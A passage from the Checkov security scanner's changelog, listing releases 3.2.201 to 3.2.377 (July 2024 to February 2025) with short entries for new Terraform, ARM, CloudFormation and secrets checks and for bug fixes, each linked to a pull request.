[#7029](https://github.com/bridgecrewio/checkov/pull/7029) ## [3.2.377](https://github.com/bridgecrewio/checkov/compare/3.2.373...3.2.377) - 2025-02-25 ### Feature - **terraform:** adding 3 policies & tests - [#7011](https://github.com/bridgecrewio/checkov/pull/7011) ### Bug Fix - **cloudformation:** Handle subs in CKV_AWS_384 - [#7022](https://github.com/bridgecrewio/checkov/pull/7022) - **secrets:** Fix Duplicated Violation in line bug - [#7027](https://github.com/bridgecrewio/checkov/pull/7027) - **terraform:** Fixed CKV2_GCP_10 to exclude non http triggered cloud functions from security_level requirement - [#7008](https://github.com/bridgecrewio/checkov/pull/7008) - **terraform:** Handle new resource type for CKV_GCP_73 - [#7023](https://github.com/bridgecrewio/checkov/pull/7023) ## [3.2.373](https://github.com/bridgecrewio/checkov/compare/3.2.372...3.2.373) - 2025-02-24 ### Bug Fix - **terraform:** CKV_GCP_74, CKV_GCP_76 incorrectly enforced for REGIONAL and GLOBAL managed proxy networks - [#7002](https://github.com/bridgecrewio/checkov/pull/7002) ## [3.2.372](https://github.com/bridgecrewio/checkov/compare/3.2.370...3.2.372) - 2025-02-18 ### Feature - **terraform:** Add multiple checks - [#7016](https://github.com/bridgecrewio/checkov/pull/7016) ### Bug Fix - **terraform:** Postgres latest stable version - [#7015](https://github.com/bridgecrewio/checkov/pull/7015) ## [3.2.370](https://github.com/bridgecrewio/checkov/compare/3.2.369...3.2.370) - 2025-02-13 ### Bug Fix - **general:** Handle ECS enhanced container insights - [#7001](https://github.com/bridgecrewio/checkov/pull/7001) ## [3.2.369](https://github.com/bridgecrewio/checkov/compare/3.2.368...3.2.369) - 2025-02-10 ### Bug Fix - **terraform:** Multiple check fixes - [#6999](https://github.com/bridgecrewio/checkov/pull/6999) ## [3.2.368](https://github.com/bridgecrewio/checkov/compare/3.2.366...3.2.368) - 2025-02-06 ### Feature - **general:** fix proxy access from git and registry loader - [#6992](https://github.com/bridgecrewio/checkov/pull/6992) ## [3.2.366](https://github.com/bridgecrewio/checkov/compare/3.2.364...3.2.366) - 2025-02-05 ### Bug Fix - **bicep:** Add bicep specific for CKV_AZURE_25 since ARM implementation fails - [#6996](https://github.com/bridgecrewio/checkov/pull/6996) - **terraform:** CKV_AZURE_249 & CKV_AWS_358 - better support for OIDC 'repo' detection regex and conditions order - [#6994](https://github.com/bridgecrewio/checkov/pull/6994) ## [3.2.364](https://github.com/bridgecrewio/checkov/compare/3.2.362...3.2.364) - 2025-02-04 ### Bug Fix - **terraform:** CKV_AWS_339 - Add EKS platform version 1.32 to allowed lists of versions - [#6988](https://github.com/bridgecrewio/checkov/pull/6988) ## [3.2.362](https://github.com/bridgecrewio/checkov/compare/3.2.358...3.2.362) - 2025-02-03 ### Bug Fix - **secrets:** Multiple matching groups are being caught as regex separated by | sign - [#6967](https://github.com/bridgecrewio/checkov/pull/6967) - **secrets:** Remove both random and base64 entropy secrets finding - [#6969](https://github.com/bridgecrewio/checkov/pull/6969) ### Platform - **general:** Backfill more eval keys - [#6970](https://github.com/bridgecrewio/checkov/pull/6970) ## [3.2.358](https://github.com/bridgecrewio/checkov/compare/3.2.357...3.2.358) - 2025-01-28 ### Feature - **general:** Add env var for policy metadata - [#6979](https://github.com/bridgecrewio/checkov/pull/6979) ## [3.2.357](https://github.com/bridgecrewio/checkov/compare/3.2.355...3.2.357) - 2025-01-23 ### Feature - **general:** initial support for python 3.13 - [#6962](https://github.com/bridgecrewio/checkov/pull/6962) ### Bug Fix - **terraform:** OIDC checks fixes - [#6964](https://github.com/bridgecrewio/checkov/pull/6964) ## [3.2.355](https://github.com/bridgecrewio/checkov/compare/3.2.353...3.2.355) - 2025-01-22 ### Feature - **terraform:** Update CKV_AWS_358, add CKV_GCP_125 and CKV_AZURE_249 for OIDC claims analysis for GitHub - [#6960](https://github.com/bridgecrewio/checkov/pull/6960) ### Bug Fix - **terraform:** Accept TLS 1.3 for Azure web apps and web app slots - [#6956](https://github.com/bridgecrewio/checkov/pull/6956) ### Platform - **terraform:** Add eval keys - [#6929](https://github.com/bridgecrewio/checkov/pull/6929) ## [3.2.353](https://github.com/bridgecrewio/checkov/compare/3.2.352...3.2.353) - 2025-01-15 ### Bug Fix - **general:** Support CVE suppressions with the root file in repo - [#6948](https://github.com/bridgecrewio/checkov/pull/6948) ## [3.2.352](https://github.com/bridgecrewio/checkov/compare/3.2.351...3.2.352) - 2025-01-09 ### Feature - **terraform:** add option to add external_modules_content_cache to terraform build_graph - [#6942](https://github.com/bridgecrewio/checkov/pull/6942) ## [3.2.351](https://github.com/bridgecrewio/checkov/compare/3.2.350...3.2.351) - 2025-01-08 ### Bug Fix - **terraform:** Skip tsconfig in terraform plan - [#6941](https://github.com/bridgecrewio/checkov/pull/6941) ## [3.2.350](https://github.com/bridgecrewio/checkov/compare/3.2.347...3.2.350) - 2025-01-07 ### Feature - **terraform:** add CKV_AZURE_248 - Azure batch account network access restriction - [#6928](https://github.com/bridgecrewio/checkov/pull/6928) ### Bug Fix - **terraform:** Revert feat(terraform): Add a terraform block check (#6904) - [#6937](https://github.com/bridgecrewio/checkov/pull/6937) ## [3.2.347](https://github.com/bridgecrewio/checkov/compare/3.2.346...3.2.347) - 2025-01-06 ### Feature - **general:** Change behavior where if a config file is missing, run the scan as if there was no config file - [#6926](https://github.com/bridgecrewio/checkov/pull/6926) ### Bug Fix - **terraform:** Fix for multiple checks - [#6933](https://github.com/bridgecrewio/checkov/pull/6933) ## [3.2.346](https://github.com/bridgecrewio/checkov/compare/3.2.345...3.2.346) - 2025-01-01 ### Feature - **terraform:** add option to add proxy to request - [#6923](https://github.com/bridgecrewio/checkov/pull/6923) ## [3.2.345](https://github.com/bridgecrewio/checkov/compare/3.2.344...3.2.345) - 2024-12-31 ### Feature - **cloudformation:** Add sensitive param check - [#6921](https://github.com/bridgecrewio/checkov/pull/6921) - **terraform:** add option to add proxy to request - [#6916](https://github.com/bridgecrewio/checkov/pull/6916) - **terraform:** check cognitive services restrict outbound network - [#6919](https://github.com/bridgecrewio/checkov/pull/6919) ### Bug Fix - **terraform_json:** support CDKTF output in CKV_TF_3 - [#6918](https://github.com/bridgecrewio/checkov/pull/6918) ## [3.2.344](https://github.com/bridgecrewio/checkov/compare/3.2.342...3.2.344) - 2024-12-21 ### Bug Fix - **kubernetes:** Add to nested resources on k8s graph inherit namespace - [#6912](https://github.com/bridgecrewio/checkov/pull/6912) ## [3.2.342](https://github.com/bridgecrewio/checkov/compare/3.2.339...3.2.342) - 2024-12-18 ### Feature - **serverless:** serverless definitions context - [#6910](https://github.com/bridgecrewio/checkov/pull/6910) - **serverless:** Serverless graph integration - [#6911](https://github.com/bridgecrewio/checkov/pull/6911) - **terraform:** Add a terraform block check - [#6904](https://github.com/bridgecrewio/checkov/pull/6904) ## [3.2.339](https://github.com/bridgecrewio/checkov/compare/3.2.336...3.2.339) - 2024-12-17 ### Bug Fix - **general:** Fix jsonpath-key handling for special characters like "/" and reduce log size - [#6907](https://github.com/bridgecrewio/checkov/pull/6907) - **serverless:** Fix serverless check crash - [#6909](https://github.com/bridgecrewio/checkov/pull/6909) ## [3.2.336](https://github.com/bridgecrewio/checkov/compare/3.2.334...3.2.336) - 2024-12-16 ### Feature - **general:** add cortex:skip for suppressions - [#6908](https://github.com/bridgecrewio/checkov/pull/6908) ### Bug Fix - **terraform:** fix CKV_AZURE_136 for replicas - [#6895](https://github.com/bridgecrewio/checkov/pull/6895) - **terraform:** Fix CKV_AZURE_227 for Azure V4 - [#6906](https://github.com/bridgecrewio/checkov/pull/6906) ## [3.2.334](https://github.com/bridgecrewio/checkov/compare/3.2.332...3.2.334) - 2024-12-08 ### Feature - **serverless:** Serverless graph vertices - [#6894](https://github.com/bridgecrewio/checkov/pull/6894) ### Bug Fix - **secrets:** fix indentation to remove duplications - [#6626](https://github.com/bridgecrewio/checkov/pull/6626) ## [3.2.332](https://github.com/bridgecrewio/checkov/compare/3.2.328...3.2.332) - 2024-12-05 ### Feature - **terraform:** Add multi skip inline suppression - [#6860](https://github.com/bridgecrewio/checkov/pull/6860) - **terraform:** New bedrock check - [#6892](https://github.com/bridgecrewio/checkov/pull/6892) ### Bug Fix - **kubernetes:** fix json file parsing - [#6891](https://github.com/bridgecrewio/checkov/pull/6891) - **terraform:** Fix CKV2_AZURE_31 - [#6893](https://github.com/bridgecrewio/checkov/pull/6893) ## [3.2.328](https://github.com/bridgecrewio/checkov/compare/3.2.327...3.2.328) - 2024-12-04 ### Feature - **serverless:** Serverless refactor for graph implementation - [#6885](https://github.com/bridgecrewio/checkov/pull/6885) ### Documentation - **general:** docs flags update - [#6888](https://github.com/bridgecrewio/checkov/pull/6888) ## [3.2.327](https://github.com/bridgecrewio/checkov/compare/3.2.326...3.2.327) - 2024-12-03 ### Bug Fix - **terraform:** Convert to graph check - [#6875](https://github.com/bridgecrewio/checkov/pull/6875) ## [3.2.326](https://github.com/bridgecrewio/checkov/compare/3.2.324...3.2.326) - 2024-12-02 ### Feature - **general:** add new CIDR operator - [#6877](https://github.com/bridgecrewio/checkov/pull/6877) ### Bug Fix - **arm:** Fix resource ID generation to use variables - [#6884](https://github.com/bridgecrewio/checkov/pull/6884) ## [3.2.324](https://github.com/bridgecrewio/checkov/compare/3.2.322...3.2.324) - 2024-12-01 ### Bug Fix - **terraform_plan:** run post_runner after get_enriched_resources for terraform_plan - [#6883](https://github.com/bridgecrewio/checkov/pull/6883) ## [3.2.322](https://github.com/bridgecrewio/checkov/compare/3.2.320...3.2.322) - 2024-11-28 ### Feature - **general:** Update range includes to handle range values - [#6867](https://github.com/bridgecrewio/checkov/pull/6867) ### Bug Fix - **general:** fix_memory error with adding new env - [#6879](https://github.com/bridgecrewio/checkov/pull/6879) - **general:** revert comment out ARM test - [#6882](https://github.com/bridgecrewio/checkov/pull/6882) ## [3.2.320](https://github.com/bridgecrewio/checkov/compare/3.2.317...3.2.320) - 2024-11-27 ### Feature - **terraform:** Add new checks to match run checks - [#6868](https://github.com/bridgecrewio/checkov/pull/6868) ### Bug Fix - **arm:** Fix arm root folder - [#6880](https://github.com/bridgecrewio/checkov/pull/6880) - **terraform:** Update CKV_AZURE_164 to correct check on trust policy - [#6757](https://github.com/bridgecrewio/checkov/pull/6757) ## [3.2.317](https://github.com/bridgecrewio/checkov/compare/3.2.314...3.2.317) - 2024-11-26 ### Feature - **terraform:** support resource_type attribute - [#6872](https://github.com/bridgecrewio/checkov/pull/6872) ### Bug Fix - **arm:** Fix arm report resource naming - [#6876](https://github.com/bridgecrewio/checkov/pull/6876) - **terraform:** Fix two checks and logs - [#6874](https://github.com/bridgecrewio/checkov/pull/6874) ## [3.2.314](https://github.com/bridgecrewio/checkov/compare/3.2.312...3.2.314) - 2024-11-25 ### Feature - **general:** add logs for suppression - [#6873](https://github.com/bridgecrewio/checkov/pull/6873) ### Bug Fix - **arm:** Fix arm resource naming on integration with Prisma - [#6870](https://github.com/bridgecrewio/checkov/pull/6870) ## [3.2.312](https://github.com/bridgecrewio/checkov/compare/3.2.311...3.2.312) - 2024-11-24 ### Bug Fix - **arm:** Fix arm graph breadcrumbs - [#6869](https://github.com/bridgecrewio/checkov/pull/6869) ## [3.2.311](https://github.com/bridgecrewio/checkov/compare/3.2.307...3.2.311) - 2024-11-21 ### Bug Fix - **cloudformation:** Fixed issue where Ref was not rendered correctly if the parameter name was identical to the default value - [#6856](https://github.com/bridgecrewio/checkov/pull/6856) - **secrets:** fix find line - [#6864](https://github.com/bridgecrewio/checkov/pull/6864) - **secrets:** masking test format - [#6859](https://github.com/bridgecrewio/checkov/pull/6859) - **secrets:** multiline matches show the secret and not the first line - [#6854](https://github.com/bridgecrewio/checkov/pull/6854) ## [3.2.307](https://github.com/bridgecrewio/checkov/compare/3.2.305...3.2.307) - 2024-11-20 ### Bug Fix - **arm:** Change ARM graph creation log lvl to debug - [#6857](https://github.com/bridgecrewio/checkov/pull/6857) ## [3.2.305](https://github.com/bridgecrewio/checkov/compare/3.2.301...3.2.305) - 2024-11-19 ### Feature - **sca:** support java full dependency tree scan - [#6834](https://github.com/bridgecrewio/checkov/pull/6834) - **terraform:** Add check - ensure AWS CodeGuru resource contains CMK - [#6851](https://github.com/bridgecrewio/checkov/pull/6851) ### Bug Fix - **general:** Used jsonpath to update vertex attributes - [#6852](https://github.com/bridgecrewio/checkov/pull/6852) - **terraform:** Update EKS supported versions - [#6826](https://github.com/bridgecrewio/checkov/pull/6826) - **terraform:** Update CKV_AZURE_171 to check automatic_upgrade_channel - [#6756](https://github.com/bridgecrewio/checkov/pull/6756) ## [3.2.301](https://github.com/bridgecrewio/checkov/compare/3.2.300...3.2.301) - 2024-11-18 ### Bug Fix - **secrets:** skip empty match - [#6849](https://github.com/bridgecrewio/checkov/pull/6849) ## [3.2.300](https://github.com/bridgecrewio/checkov/compare/3.2.296...3.2.300) - 2024-11-17 ### Feature - **azure:** add new policies for Azure Synapse arm - [#6553](https://github.com/bridgecrewio/checkov/pull/6553) - **helm:** Made helm + kustomize use the Kubernetes graph registry - [#6847](https://github.com/bridgecrewio/checkov/pull/6847) - **secrets:** Adding check_id to EnrichedSecret class - [#6842](https://github.com/bridgecrewio/checkov/pull/6842) - **secrets:** Masking secrets files - [#6848](https://github.com/bridgecrewio/checkov/pull/6848) ### Bug Fix - **secrets:** add prerun support for singleline - [#6846](https://github.com/bridgecrewio/checkov/pull/6846) - **terraform:** Update CKV_AZURE_167 to correct check on retention policy - [#6758](https://github.com/bridgecrewio/checkov/pull/6758) ## [3.2.296](https://github.com/bridgecrewio/checkov/compare/3.2.293...3.2.296) - 2024-11-14 ### Feature - **cloudformation:** Support Fn::Sub in cases of using a pseudo parameter - [#6835](https://github.com/bridgecrewio/checkov/pull/6835) - **terraform:** support resource_type attribute - revert - [#6843](https://github.com/bridgecrewio/checkov/pull/6843) ### Bug Fix - **terraform:** CKV_GCP_32 (GoogleComputeBlockProjectSSH) Add other common enabling values - [#6663](https://github.com/bridgecrewio/checkov/pull/6663) ## [3.2.293](https://github.com/bridgecrewio/checkov/compare/3.2.291...3.2.293) - 2024-11-13 ### Feature - **terraform:** support resource_type attribute - [#6830](https://github.com/bridgecrewio/checkov/pull/6830) ### Bug Fix - **general:** fixed mypy issue - [#6838](https://github.com/bridgecrewio/checkov/pull/6838) ## [3.2.291](https://github.com/bridgecrewio/checkov/compare/3.2.287...3.2.291) - 2024-11-12 ### Feature - **general:** remove specific botocore version - [#6796](https://github.com/bridgecrewio/checkov/pull/6796) ### Bug Fix - **arm:** fix ARM graph block types - [#6824](https://github.com/bridgecrewio/checkov/pull/6824) - **dockerfile:** Handle heredoc - [#6828](https://github.com/bridgecrewio/checkov/pull/6828) - **sast:** filter unsupported policies - [#6833](https://github.com/bridgecrewio/checkov/pull/6833) ## [3.2.287](https://github.com/bridgecrewio/checkov/compare/3.2.286...3.2.287) - 2024-11-11 ### Bug Fix - **graph:** fix internal checks loading when adding custom policies in cli - [#6819](https://github.com/bridgecrewio/checkov/pull/6819) ## [3.2.286](https://github.com/bridgecrewio/checkov/compare/3.2.282...3.2.286) - 2024-11-10 ### Feature - **secrets:** Add npm detector - [#6821](https://github.com/bridgecrewio/checkov/pull/6821) ### Bug Fix - **secrets:** fix empty diff scan - [#6822](https://github.com/bridgecrewio/checkov/pull/6822) ## [3.2.282](https://github.com/bridgecrewio/checkov/compare/3.2.281...3.2.282) - 2024-11-07 ### Bug Fix - **arm:** finish variable rendering and use definitions context - [#6814](https://github.com/bridgecrewio/checkov/pull/6814) ## [3.2.281](https://github.com/bridgecrewio/checkov/compare/3.2.280...3.2.281) - 2024-11-06 ### Documentation - **general:** Update Python versions and add env vars to the docs - [#6812](https://github.com/bridgecrewio/checkov/pull/6812) ## [3.2.280](https://github.com/bridgecrewio/checkov/compare/3.2.278...3.2.280) - 2024-11-05 ### Bug Fix - **arm:** add middleware function for platform integration for Arm definitions - [#6811](https://github.com/bridgecrewio/checkov/pull/6811) - **secrets:** Update CKV_SECRET_4 to duplication list GENERIC_PRIVATE_KEY - [#6810](https://github.com/bridgecrewio/checkov/pull/6810) - **terraform:** Add opensearch to CKV2_AWS_5 - [#6807](https://github.com/bridgecrewio/checkov/pull/6807) ## [3.2.278](https://github.com/bridgecrewio/checkov/compare/3.2.277...3.2.278) - 2024-11-04 ### Bug Fix - **arm:** Align arm definitions function arguments - [#6808](https://github.com/bridgecrewio/checkov/pull/6808) ## [3.2.277](https://github.com/bridgecrewio/checkov/compare/3.2.276...3.2.277) - 2024-11-03 ### Bug Fix - **secrets:** add detector for IbmCosHmac - [#6790](https://github.com/bridgecrewio/checkov/pull/6790) ## [3.2.276](https://github.com/bridgecrewio/checkov/compare/3.2.275...3.2.276) - 2024-10-31 ### Bug Fix - **terraform:** Fix possible exception when for_each data has boolean values - [#6733](https://github.com/bridgecrewio/checkov/pull/6733) ## [3.2.275](https://github.com/bridgecrewio/checkov/compare/3.2.271...3.2.275) - 2024-10-30 ### Feature - **arm:** Add arm definition context - [#6801](https://github.com/bridgecrewio/checkov/pull/6801) ### Bug Fix - **cloudformation:** change parse log level - [#6794](https://github.com/bridgecrewio/checkov/pull/6794) - **general:** pipenv==2024.0.3 - [#6803](https://github.com/bridgecrewio/checkov/pull/6803) - **secrets:** omit all secrets value in line - [#6802](https://github.com/bridgecrewio/checkov/pull/6802) - **terraform:** Security group attached to aws_mskconnect_connector is not recognized - [#6780](https://github.com/bridgecrewio/checkov/pull/6780) ## [3.2.271](https://github.com/bridgecrewio/checkov/compare/3.2.270...3.2.271) - 2024-10-29 ### Feature - **sca:** add enableDotnetCpm env var to sca scan request - [#6786](https://github.com/bridgecrewio/checkov/pull/6786) ## [3.2.270](https://github.com/bridgecrewio/checkov/compare/3.2.269...3.2.270) - 2024-10-28 ### Feature - **arm:** add variable and parameters edges and rendering - [#6787](https://github.com/bridgecrewio/checkov/pull/6787) - **arm:** arm custom policy support - [#6769](https://github.com/bridgecrewio/checkov/pull/6769) ## [3.2.269](https://github.com/bridgecrewio/checkov/compare/3.2.268...3.2.269) - 2024-10-23 ### Bug Fix - **terraform:** Fix crash when version isn't a float - [#6783](https://github.com/bridgecrewio/checkov/pull/6783) ## [3.2.268](https://github.com/bridgecrewio/checkov/compare/3.2.267...3.2.268) - 2024-10-20 ### Feature - **terraform_plan:** Support after_unknown evaluation of complex attributes - [#6784](https://github.com/bridgecrewio/checkov/pull/6784) ## [3.2.267](https://github.com/bridgecrewio/checkov/compare/3.2.266...3.2.267) - 2024-10-16 - no noteworthy changes ## [3.2.266](https://github.com/bridgecrewio/checkov/compare/3.2.262...3.2.266) - 2024-10-15 ### Feature - **arm:** unsupported module soft fail - [#6775](https://github.com/bridgecrewio/checkov/pull/6775) ## [3.2.262](https://github.com/bridgecrewio/checkov/compare/3.2.258...3.2.262) - 2024-10-14 ### Feature - **terraform:** 2 new checks - [#6764](https://github.com/bridgecrewio/checkov/pull/6764) - **terraform:** Add s3 data transport check - [#6763](https://github.com/bridgecrewio/checkov/pull/6763) ### Bug Fix - **helm:** Remove helm target dir after scanning - [#6767](https://github.com/bridgecrewio/checkov/pull/6767) - **kubernetes:** Handle non-sting params in command - [#6768](https://github.com/bridgecrewio/checkov/pull/6768) ## [3.2.258](https://github.com/bridgecrewio/checkov/compare/3.2.257...3.2.258) - 2024-10-13 ### Bug Fix - **terraform:** Set timeout for parsing Terraform files with hcl2. - [#6759](https://github.com/bridgecrewio/checkov/pull/6759) ## [3.2.257](https://github.com/bridgecrewio/checkov/compare/3.2.256...3.2.257) - 2024-10-06 ### Bug Fix - **ansible:** handle empty tasks - [#6751](https://github.com/bridgecrewio/checkov/pull/6751) ## [3.2.256](https://github.com/bridgecrewio/checkov/compare/3.2.254...3.2.256) - 2024-10-01 ### Feature - **terraform:** New checks - [#6720](https://github.com/bridgecrewio/checkov/pull/6720) ### Bug Fix - **general:** Fix operator docs - [#6735](https://github.com/bridgecrewio/checkov/pull/6735) - **sca:** add Pipfile and Pipfile.lock to supported package files list - [#6746](https://github.com/bridgecrewio/checkov/pull/6746) - **terraform:** extend CKV2_AWS_5 to include DMS Serverless (#6628) - [#6630](https://github.com/bridgecrewio/checkov/pull/6630) - **terraform:** Remove dataproc.admin from multiple checks - [#6725](https://github.com/bridgecrewio/checkov/pull/6725) - **terraform:** Security group attached to an Elastic DocumentDB cluster is not recognized by check CKV2_AWS_5 - [#6687](https://github.com/bridgecrewio/checkov/pull/6687) ### Documentation - **general:** update README.md - [#6719](https://github.com/bridgecrewio/checkov/pull/6719) ## [3.2.254](https://github.com/bridgecrewio/checkov/compare/3.2.253...3.2.254) - 2024-09-15 ### Bug Fix - **terraform:** Added ssl_mode attribute support to CKV_GCP_6 - [#6703](https://github.com/bridgecrewio/checkov/pull/6703) ## [3.2.253](https://github.com/bridgecrewio/checkov/compare/3.2.251...3.2.253) - 2024-09-12 ### Feature - **general:** allow tool name field to be customised using cli arguments - [#6692](https://github.com/bridgecrewio/checkov/pull/6692) - **secrets:** Change log level - [#6716](https://github.com/bridgecrewio/checkov/pull/6716) - **terraform:** Add check for local user in storage - [#6715](https://github.com/bridgecrewio/checkov/pull/6715) ### Bug Fix - **terraform:** Update CKV_AZURE_228 for automatic calculation - [#6714](https://github.com/bridgecrewio/checkov/pull/6714) ## [3.2.251](https://github.com/bridgecrewio/checkov/compare/3.2.250...3.2.251) - 2024-09-11 ### Feature - **general:** add severity metadata to custom policy - [#6579](https://github.com/bridgecrewio/checkov/pull/6579) ## [3.2.250](https://github.com/bridgecrewio/checkov/compare/3.2.249...3.2.250) - 2024-09-10 ### Bug Fix - **secrets:** fix suppressions and duplications - [#6710](https://github.com/bridgecrewio/checkov/pull/6710) ## [3.2.249](https://github.com/bridgecrewio/checkov/compare/3.2.246...3.2.249) - 2024-09-08 ### Feature - **general:** revert packages read permissions - [#6706](https://github.com/bridgecrewio/checkov/pull/6706) - **terraform_plan:** remove secret - [#6705](https://github.com/bridgecrewio/checkov/pull/6705) ### Bug Fix - **secrets:** fix suppression and duplication - [#6701](https://github.com/bridgecrewio/checkov/pull/6701) - **secrets:** Revert suppression and duplication - [#6708](https://github.com/bridgecrewio/checkov/pull/6708) - **terraform:** Fix foreach multi attributes in field - [#6707](https://github.com/bridgecrewio/checkov/pull/6707) ## [3.2.246](https://github.com/bridgecrewio/checkov/compare/3.2.245...3.2.246) - 2024-09-05 ### Feature - **sast:** add log level when running sast in windows - [#6704](https://github.com/bridgecrewio/checkov/pull/6704) ## [3.2.245](https://github.com/bridgecrewio/checkov/compare/3.2.242...3.2.245) - 2024-09-04 ### Feature - **kubernetes:** Add policy for git-sync code injection - [#6694](https://github.com/bridgecrewio/checkov/pull/6694) - **terraform_plan:** add support for provider in tf_plan framework - [#6690](https://github.com/bridgecrewio/checkov/pull/6690) ## [3.2.242](https://github.com/bridgecrewio/checkov/compare/3.2.241...3.2.242) - 2024-09-02 ### Feature - **general:** add support for windows 10 for aiohttp - [#6696](https://github.com/bridgecrewio/checkov/pull/6696) ## [3.2.241](https://github.com/bridgecrewio/checkov/compare/3.2.239...3.2.241) - 2024-09-01 ### Feature - **sast:** remove the env var for Go - [#6697](https://github.com/bridgecrewio/checkov/pull/6697) ### Bug Fix - **secrets:** add edge case for policy that looks like uuid - [#6698](https://github.com/bridgecrewio/checkov/pull/6698) ## [3.2.239](https://github.com/bridgecrewio/checkov/compare/3.2.238...3.2.239) - 2024-08-29 ### Feature - **general:** Add multiple checks to match runtime checks - [#6680](https://github.com/bridgecrewio/checkov/pull/6680) ## [3.2.238](https://github.com/bridgecrewio/checkov/compare/3.2.236...3.2.238) - 2024-08-27 ### Feature - **terraform:** add support for TF cloudsplaining evaluated_keys - [#6677](https://github.com/bridgecrewio/checkov/pull/6677) ### Bug Fix - **secrets:** change logs form info to debug - [#6685](https://github.com/bridgecrewio/checkov/pull/6685) ## [3.2.236](https://github.com/bridgecrewio/checkov/compare/3.2.235...3.2.236) - 2024-08-26 - no noteworthy changes ## [3.2.235](https://github.com/bridgecrewio/checkov/compare/3.2.234...3.2.235) - 2024-08-21 ### Feature - **cloudformation:** SAM Globals support with CloudFormation - [#6657](https://github.com/bridgecrewio/checkov/pull/6657) ## [3.2.234](https://github.com/bridgecrewio/checkov/compare/3.2.232...3.2.234) - 2024-08-20 ### Feature - **sast:** Adding support for sast in windows - [#6638](https://github.com/bridgecrewio/checkov/pull/6638) ### Bug Fix - **secrets:** revert duplications suppressions for secrets - [#6674](https://github.com/bridgecrewio/checkov/pull/6674) ## [3.2.232](https://github.com/bridgecrewio/checkov/compare/3.2.230...3.2.232) - 2024-08-19 ### Bug Fix - **general:** add try except to loads file - [#6668](https://github.com/bridgecrewio/checkov/pull/6668) - **secrets:** duplications suppressions for secrets - [#6665](https://github.com/bridgecrewio/checkov/pull/6665) ## [3.2.230](https://github.com/bridgecrewio/checkov/compare/3.2.228...3.2.230) - 2024-08-18 ### Feature - **general:** Support multiple frameworks in custom policy - [#6666](https://github.com/bridgecrewio/checkov/pull/6666) ### Bug Fix - **general:** revert support multiple frameworks in one custom policy - [#6664](https://github.com/bridgecrewio/checkov/pull/6664) ## [3.2.228](https://github.com/bridgecrewio/checkov/compare/3.2.223...3.2.228) - 2024-08-15 ### Feature - **terraform:** Add build policy to match run policy for API Method without Auth or API - [#6637](https://github.com/bridgecrewio/checkov/pull/6637) ### Bug Fix - **secrets:** remove dups logic - [#6655](https://github.com/bridgecrewio/checkov/pull/6655) - **secrets:** Revert remove dups - [#6656](https://github.com/bridgecrewio/checkov/pull/6656) - **terraform:** Don't pass existed resources in non_exists resource checks - [#6653](https://github.com/bridgecrewio/checkov/pull/6653) ## [3.2.223](https://github.com/bridgecrewio/checkov/compare/3.2.221...3.2.223) - 2024-08-13 ### Bug Fix - **secrets:** remove duplications in secrets - [#6648](https://github.com/bridgecrewio/checkov/pull/6648) - **secrets:** revert fixing duplications - [#6652](https://github.com/bridgecrewio/checkov/pull/6652) ## [3.2.221](https://github.com/bridgecrewio/checkov/compare/3.2.219...3.2.221) - 2024-08-12 ### Bug Fix - **terraform:** evaluate resource with double underscore - [#6642](https://github.com/bridgecrewio/checkov/pull/6642) ## [3.2.219](https://github.com/bridgecrewio/checkov/compare/3.2.217...3.2.219) - 2024-08-05 ### Feature - **general:** support multiple frameworks in one custom policy - [#6587](https://github.com/bridgecrewio/checkov/pull/6587) - **terraform:** Add run policy for RDS encryption in transit - [#6631](https://github.com/bridgecrewio/checkov/pull/6631) ### Documentation - **general:** Add OpenTofu - [#6627](https://github.com/bridgecrewio/checkov/pull/6627) ## [3.2.217](https://github.com/bridgecrewio/checkov/compare/3.2.216...3.2.217) - 2024-07-31 - no noteworthy changes ## [3.2.216](https://github.com/bridgecrewio/checkov/compare/3.2.213...3.2.216) - 2024-07-30 ### Feature - **sast:** Verify that all sast policies are parsed correctly - [#6621](https://github.com/bridgecrewio/checkov/pull/6621) ### Bug Fix - **secrets:** fix secrets duplication - [#6619](https://github.com/bridgecrewio/checkov/pull/6619) - **secrets:** fix secrets duplication - Revert - [#6623](https://github.com/bridgecrewio/checkov/pull/6623) ## [3.2.213](https://github.com/bridgecrewio/checkov/compare/3.2.209...3.2.213) - 2024-07-29 ### Feature - **arm:** ARM AppServiceInstanceMinimum - CKV_AZURE_212 - [#6502](https://github.com/bridgecrewio/checkov/pull/6502) - **terraform:** - TF and CFN - Add a policy for ensuring AWS Bedrock Agent is encrypted with a CMK - [#6603](https://github.com/bridgecrewio/checkov/pull/6603) ### Bug Fix - **ansible:** Fix CKV2_ANSIBLE_2 - [#6610](https://github.com/bridgecrewio/checkov/pull/6610) - **arm:** Support upper and lower disabled for CKV_AZURE_189 - [#6609](https://github.com/bridgecrewio/checkov/pull/6609) - **dockerfile:** Fix edge case with apt in domain - [#6611](https://github.com/bridgecrewio/checkov/pull/6611) - **terraform_plan:** Fix parsing other types of provisioners - [#6606](https://github.com/bridgecrewio/checkov/pull/6606) - **terraform:** add condition for CKV_AWS_353 - [#6607](https://github.com/bridgecrewio/checkov/pull/6607) - **terraform:** catch unknowns with WAF configs - [#6612](https://github.com/bridgecrewio/checkov/pull/6612) - **terraform:** Handle default for CKV_GCP_76 - [#6608](https://github.com/bridgecrewio/checkov/pull/6608) ## [3.2.209](https://github.com/bridgecrewio/checkov/compare/3.2.208...3.2.209) - 2024-07-28 ### Feature - **cloudformation:** Enrich cloudsplaining eval keys - [#6602](https://github.com/bridgecrewio/checkov/pull/6602) ### Documentation - **general:** add --repo-id to relevant examples with API key - [#6605](https://github.com/bridgecrewio/checkov/pull/6605) ## [3.2.208](https://github.com/bridgecrewio/checkov/compare/3.2.204...3.2.208) - 2024-07-25 ### Feature - **general:** filter resource by provider for all resources types - [#6598](https://github.com/bridgecrewio/checkov/pull/6598) - **secrets:** add CKV_SECRET_192 to GENERIC_PRIVATE_KEY_CHECK_IDS - [#6600](https://github.com/bridgecrewio/checkov/pull/6600) - **terraform:** Update ckv-aws-8 policy - support unknown statement - [#6596](https://github.com/bridgecrewio/checkov/pull/6596) ### Bug Fix - **terraform:** Fix resource type for CKV_AZURE_242 - [#6599](https://github.com/bridgecrewio/checkov/pull/6599) ### Platform - **general:** handle multiple values for the same metadata filter - [#6604](https://github.com/bridgecrewio/checkov/pull/6604) ## [3.2.204](https://github.com/bridgecrewio/checkov/compare/3.2.201...3.2.204) - 2024-07-24 ### Feature - **arm:** add CKV_AZURE_191 to ensure that Managed identity provider is enabled for Azure Event Grid Topic - [#6496](https://github.com/bridgecrewio/checkov/pull/6496) ### Bug Fix - **sast:** BCE-36172 fix cdk policies - [#6588](https://github.com/bridgecrewio/checkov/pull/6588) ## [3.2.201](https://github.com/bridgecrewio/checkov/compare/3.2.199...3.2.201) - 2024-07-23 ### Feature - 